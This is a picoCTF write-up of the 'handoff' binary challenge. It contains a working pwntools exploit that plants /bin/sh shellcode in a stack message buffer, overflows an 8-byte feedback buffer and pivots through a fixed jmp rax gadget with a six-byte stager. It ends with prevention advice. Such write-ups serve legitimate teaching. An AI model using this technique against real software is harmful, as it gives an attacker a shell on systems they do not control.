Description
A messaging program stores recipients and their messages on the stack. NX is disabled and PIE is off. Overflow the feedback buffer to redirect execution through a jmp rax gadget, which lands on a stager that pivots rsp into the shellcode stored in recipient 9's message.
Setup
Download the binary and source from the picoCTF challenge page.
Check the binary protections - NX is off (stack executable) and PIE is disabled (fixed addresses). That combination is the green light for shellcode injection.
Hunt for the jmp rax gadget so you have its fixed address ready.
Study the struct layout: each entry has an 8-byte name and a 64-byte message buffer.
checksec --file=handoffROPgadget --binary handoff | grep 'jmp rax'nc <INSTANCE_HOST> <PORT_FROM_INSTANCE>Solution
Walk me through itshellcraft.sh(), asm(), and the network plumbing used here.- Step 1Understand the program structure and find the bugsThree options: add recipient (option 1), send message (option 2), exit (option 3). Each entry is 8 bytes for the name and 64 bytes for the message. The exit option reads 32 bytes via fgets into only an 8-byte feedback buffer. Since RAX holds the return value of fgets (the address of the feedback buffer), and since we can use a jmp rax gadget at a fixed address (no PIE), we can redirect to our feedback buffer and pivot from there. The source shows the name buffer is only 8 bytes even though NAME_LEN is 32 - the name field is truncated in the struct, which is a separate bug, but the key overflow is in the exit feedback.bash
# Each entry struct: # struct entry { char name[8]; char msg[64]; }; # entry entries[10]; # The feedback buffer in exit is 8 bytes; fgets reads 32. # Overflow: 8 bytes feedback + 4 bytes padding + 8 bytes saved RIP = 20 bytes in.Learn more
NX (No-eXecute) is a hardware protection that marks memory regions as either executable or writable but not both. With NX disabled, data on the stack can be executed as machine code. The
checksecutility confirms this; seeingNX disabledmeans shellcode injection is viable. With no PIE, all code addresses are fixed, so thejmp raxgadget is always at the same address across runs.The key insight is that
fgetsreturns the address of the buffer it just filled - stored inrax. After the overflow overwrites the return address with the address of ajmp raxgadget, execution jumps to the feedback buffer. The feedback buffer holds a small stager that pivots rsp further back on the stack into the 64-byte message buffer of recipient 9, where the real shellcode lives. - Step 2Fill 10 recipients and store shellcode in entry 9Add 10 recipients (option 1, run 10 times) with any name. Then send a message to recipient 9 (index 9, option 2). The 64-byte shellcode lands in entries[9].msg. The stager in the feedback buffer will do
sub rax, 0x44; jmp raxwhich is exactly 68 bytes back from the feedback buffer start - landing at the beginning of entries[9].msg.pythonfrom pwn import * context.arch = 'amd64' p = remote('<INSTANCE_HOST>', <PORT_FROM_INSTANCE>) shellcode = asm(shellcraft.sh()) assert len(shellcode) <= 64, "shellcode too big for message buffer" # Add 10 recipients so entries 0-9 are filled for i in range(10): p.sendlineafter(b'Exit', b'1') p.sendlineafter(b"recipient's name:", b'the doctor') # Send shellcode as message to recipient 9 p.sendlineafter(b'Exit', b'2') p.sendlineafter(b'send a message to?', b'9') p.sendlineafter(b'What message', shellcode)Learn more
pwntools' shellcraft module generates minimal x86-64 shellcode to call
execve("/bin/sh", NULL, NULL). The 64-byte message buffer in each entry is large enough to hold typical shellcode (about 48 bytes). Unlike approach using entries[0], storing shellcode in entry 9 is important because the stager's fixed offset (0x44 = 68 bytes) is calibrated to reach exactly entries[9].msg from the feedback buffer.Adding exactly 10 recipients ensures all 10 slots are allocated before we write the shellcode to slot 9, keeping the stack layout deterministic. The entry index of 9 is critical - a different index would mean the stager's sub-rax offset would need to change.
- Step 3Overflow feedback and pivot to shellcode via jmp raxChoose option 3 (exit). Build the payload: 6 bytes of stager (
sub rax, 0x44; jmp raxassembled), enough null padding to reach byte 20, then the 8-byte jmp rax gadget address (0x40116c). When the function returns, execution jumps to jmp rax. RAX still holds the feedback buffer address (fgets return value), so jmp rax executes the stager. The stager subtracts 0x44 from rax (moving it 68 bytes backward, into entries[9].msg) and jumps there - right into the shellcode.bash# Find the jmp rax gadget address: # ROPgadget --binary handoff | grep 'jmp rax' JMP_RAX = 0x000000000040116c stager = asm('sub rax, 0x44; jmp rax') # 6 bytes # Pad to 20 bytes (feedback at offset 0, return address at offset 20) payload = stager + b'\x00' * (20 - len(stager)) + p64(JMP_RAX) assert len(payload) <= 32, "payload must fit the 32-byte fgets read" p.sendlineafter(b'Exit', b'3') p.sendline(payload) p.interactive()Learn more
When the exit function returns, the CPU reads the overwritten return address and jumps to the
jmp raxgadget. At that point,raxholds the address of the feedback buffer because the x86-64 SysV ABI returns function results inrax, andfgetsreturns its buffer pointer. This persists through the function epilogue, makingjmp raxjump directly to the stager at the start of the feedback buffer.The stager does
sub rax, 0x44(subtract 68 decimal) which moves the pointer from the feedback buffer backward 68 bytes on the stack - landing exactly at the start of entries[9].msg, where the shellcode lives. Thenjmp raxtransfers control there. The offset 0x44 was determined by analyzing the stack layout: entries[9] is positioned exactly 68 bytes before the feedback buffer in memory.The stager must be 6 bytes or less (the assembled sub+jmp instructions) so it fits before the null terminator that fgets appends at position 7 in the 8-byte feedback field. The critical constraint is that 0x44 = 68 is less than 128, keeping the encoding of the immediate in the sub instruction to a single byte and avoiding any null bytes in the stager itself.
The jmp rax gadget is found by scanning the binary with
ROPgadget --binary handoff | grep "jmp rax". Because PIE is disabled, the gadget's address is fixed at0x40116cregardless of ASLR. In a PIE binary you would first need to leak a code address.
Flag
picoCTF{p1v0ted_ftw_...}
Add 10 recipients, store shellcode in entry 9's message, overflow feedback with a 6-byte stager (sub rax, 0x44; jmp rax) + padding + jmp rax gadget address. Execution flows: ret -> jmp rax gadget -> stager -> shellcode in entry 9.
How to prevent this
How to prevent this
This exploit chains a buffer overflow with disabled NX. Either mitigation alone breaks it.
- Bounds-check the read into the feedback buffer.
read(fd, buf, sizeof(buf)), or usefgetswith the buffer length.scanf("%s")andgetsare unsafe by design. - Compile with NX (
-z noexecstack, the default in modern toolchains). With NX on, even a successful return-address overwrite cannot execute shellcode placed in stack/heap data; the attacker is forced into ROP, which adds a large prerequisite (gadget hunt + leak). - Add PIE (
-fPIE -pie) and stack canaries (-fstack-protector-strong). PIE randomizesjmp raxgadget addresses; canaries detect the overflow beforeretever executes.